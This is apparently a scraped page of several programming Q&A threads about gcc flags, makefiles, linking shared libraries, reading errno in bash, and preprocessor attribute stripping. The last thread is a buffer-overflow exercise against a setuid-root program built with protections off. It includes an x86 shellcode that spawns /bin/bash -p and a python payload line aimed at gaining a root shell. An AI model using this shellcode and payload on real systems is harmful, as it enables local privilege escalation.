"Permission denied" running executable built with `-c -o` - makefile

this may sound stupid. but I only have .c file(openfile.c) and it looks like this:
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char* argv[]){
char* path = argv[1];
mode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH;
int fd = open(path, O_WRONLY | O_EXCL | O_CREAT, mode);
if(fd == -1){
perror("open");
return 1;
}
return 0;
}
and i want to write a Makefile for it.So it shouldnt be hard. The Makefile looks like this:
openfile: openfile.c
gcc -c -o openfile openfile.c
because i dont have/need a openfile.h so i just need one openfile.c. An d it compiles and when i run the ./openfile, bang, it says: bash: ./openfile: Permission denied
so wheres the problem? do i have to write a .h file?

The problem is that you don't need -c. When you pass -c to gcc it doesn't perform linking step, so you actually get o-file.

Related

Shared library not found in /usr/local/lib

Similar questions got asked a lot, but I still don't quite get what's wrong with how I compiled and installed my shared library.
As far as compiling goes I do
> gcc -c -fPIC libt.c
> gcc -shared -Wl,-soname,libt.so.0 -o libt.so.0.1 libt.o
In order to install the library I run
> cp libt.so.0.1 /usr/local/lib/
> cp libt.h /usr/local/include/
> ln -s /usr/local/lib/libt.so.0.1 /usr/local/lib/libt.so.0 # ldconfig would setup this symlink itself ...
> ln -s /usr/local/lib/libt.so.0 /usr/local/lib/libt.so # ... but not this one, so I do it myself
> sudo ldconfig
/usr/local/lib is included in /etc/ld.so.conf.d/libc.conf, and ldconfig -p | grep libt yields
libt.so.0 (libc6,x86-64) => /usr/local/lib/libt.so.0
libt.so (libc6,x86-64) => /usr/local/lib/libt.so
So, as far as I can tell, everything looks okay until this point. However, compiling a program that's supposed to use my library fails:
> gcc -o prog main.c -llibt
/usr/bin/ld: cannot find -llibt
libt.h
#ifndef libt_h__
#define libt_h__
extern int add(int, int);
#endif
libt.c
int
add(int a, int b)
{
return a + b;
}
main.c
#include <stdio.h>
#include <stdlib.h>
#include "libt.h"
void
print_usage()
{
printf("usage: ./prog <number a> <number b>\n");
}
int
main(int argc, char *argv[])
{
int a = 0, b = 0, c = 0;
if (argc != 3) {
print_usage();
return 1;
}
a = atoi(argv[1]);
b = atoi(argv[2]);
c = add(a, b);
printf("%d\n", c);
return 0;
}
Figured it out. While library names have to be prefixed with "lib", that prefix must not be specified when linking. That is, gcc -o prog main.c -llibt is wrong while gcc -o prog main.c -lt works as expected.

(bash scripting) Is there a way to get the actual errno of a failed attempt to write to a file?

Which is to say:
$ cp /usr/cat c
$ ./c
(different window)
$ echo foo > c
-bash: c: Text file busy
$ echo $?
1
Technically, internally the actual write returned -ETXTBSY (-26). Is there a way to get that code instead of 1 with regular bash tools? Short of parsing the text or writing a short C program (this is in a weirdly controlled environment).
Is there a way to get that code
You can write a builtin module that prints errno.
The following source code saved as geterrno.c:
#include <config.h>
#if defined (HAVE_UNISTD_H)
#include <unistd.h>
#endif
#include <stdio.h>
#include <sys/types.h>
#include "posixstat.h"
#include <stdio.h>
#include <pwd.h>
#include <grp.h>
#include <errno.h>
#include "posixtime.h"
#include "bashansi.h"
#include "shell.h"
#include "builtins.h"
#include "common.h"
#include "bashgetopt.h"
static int geterrno_builtin(WORD_LIST *list) {
printf("%d\n", errno);
return (EXECUTION_SUCCESS);
}
static char *doc[] = {
"geterrno: prints errno",
NULL
};
struct builtin geterrno_struct = {
"geterrno",
geterrno_builtin,
BUILTIN_ENABLED,
doc,
"getrrno: prints errno",
0,
};
compiled and loaded with:
$ gcc -DHAVE_CONFIG_H -DSHELL -I/usr/include/bash -I/usr/include/bash/include -I/usr/include/bash/builtins -I/usr/lib/bash -fPIC -shared -o libgeterrno.so
$ enable -f ./libgeterrno.so geterrno
After that, you can potentially with a lot of luck:
$ geterrno ; echo a > c ; geterrno
0
bash: c: Text file busy
26
with regular bash tools?
No, that is impossible.

makefile fails - implicit rule compiles one object file but doesn't compile the rest

Makefile isn't using implicit rules correctly. I am following this guide here.
Here's my makefile:
objects = main.o hello.o
hello : $(objects)
cc -o hello $(objects)
hello.o : defs.h
main.o : defs.h hello.h
.PHONY : clean
clean :
-rm hello $(objects)
I get the following error:
cc: error: main.o: No such file or directory
It creates the object code hello.o, but does not do it for main.c. If I swap lines and main is above, it'll create main.o but not hello.o.
Here's my main.c file:
#include "defs.h"
#include "hello.h"
int main(int argc, char** argv) {
display_hello();
return (EXIT_SUCCESS);
}
Here's my hello.c file:
#include "defs.h"
void display_hello()
{
printf("Hello!\n");
}
My hello.h file:
#ifndef HELLO_H
#define HELLO_H
#ifdef __cplusplus
extern "C" {
#endif
#ifdef __cplusplus
}
#endif
#endif /* HELLO_H */
void display_hello();
Here's my defs.h file:
#ifndef DEFS_H
#define DEFS_H
#ifdef __cplusplus
extern "C" {
#endif
#ifdef __cplusplus
}
#endif
#endif /* DEFS_H */
#include <stdio.h>
#include <stdlib.h>
Works fine for me, I created the files as https://gist.github.com/boyvinall/f23420215707fa3e73e21c3f9a5ff22b
$ make
cc -c -o main.o main.c
cc -c -o hello.o hello.c
cc -o hello main.o hello.o
Might be the version of make like #Beta said, but even an old version of GNU make should work just fine for this.
Otherwise, ensure you're using tabs to indent in the makefile, not spaces.

why does gcc unexpectedly strip __attribute__(__packed__)?

Is there a reason why the pre-processor strips out attributes when
-U__GNUC__ is specified and there is at least 1 #include directive?
This seems like surprising behaviour to me. Here's an example:
$ cat foo.c
#include <limits.h>
struct S {
int a;
} __attribute__((__packed__));
$ gcc -E -U__GNUC__ foo.c | tail -3
struct S {
int a;
} ;
But if I remove the #include directive (or if I drop -U__GNUC__) then
attributes don't get stripped by the pre-processor which is what I
expect to happen.
$ cat foo2.c
struct S {
int a;
} __attribute__((__packed__));
$ gcc -U__GNUC__ -E foo2.c
# 1 "foo2.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "foo2.c"
struct S {
int a;
} __attribute__((__packed__));
Is this a gcc bug or is there documentation of this behaviour?
On my platform standard headers indirectly include /usr/include/argp.h. And in argp.h it says
#ifndef __attribute__
/* This feature is available in gcc versions 2.5 and later. */
# if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) || __STRICT_ANSI__
# define __attribute__(Spec) /* empty */
# endif
...
#endif
I.e. for low values of __GNUC__ and for __STRICT_ANSI__ modes __attribute__ is pre-defined as an empty macro. By undefing __GNUC__ you made it act like 0 in #if contexts. So, the above code turned __attribute__ into an empty macro.

BufferOverflow shell not spawn

I'm trying a buffer overflow on a simple program
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
return 0;
}
Compiled with these options
gcc -g exploit1.c -fno-stack-protector -z execstack -o exploit1
The binaries is setuid
ls -al exploit1
-r-sr-x--- 1 root root 6016 janv. 31 01:47 exploit1
So I have disable all stack options and ASLR
My shellcode is:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
But no root shell appear, I have this error:
python -c 'print "A"*20 + "\xbf\xfe\xff\xbf"'| ./exploit1
-bash: ./exploit1: Permission denied
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
Have I missed something?
You don't have permission to execute exploit1. Root needs to do:
chmod o+x exploit1

Resources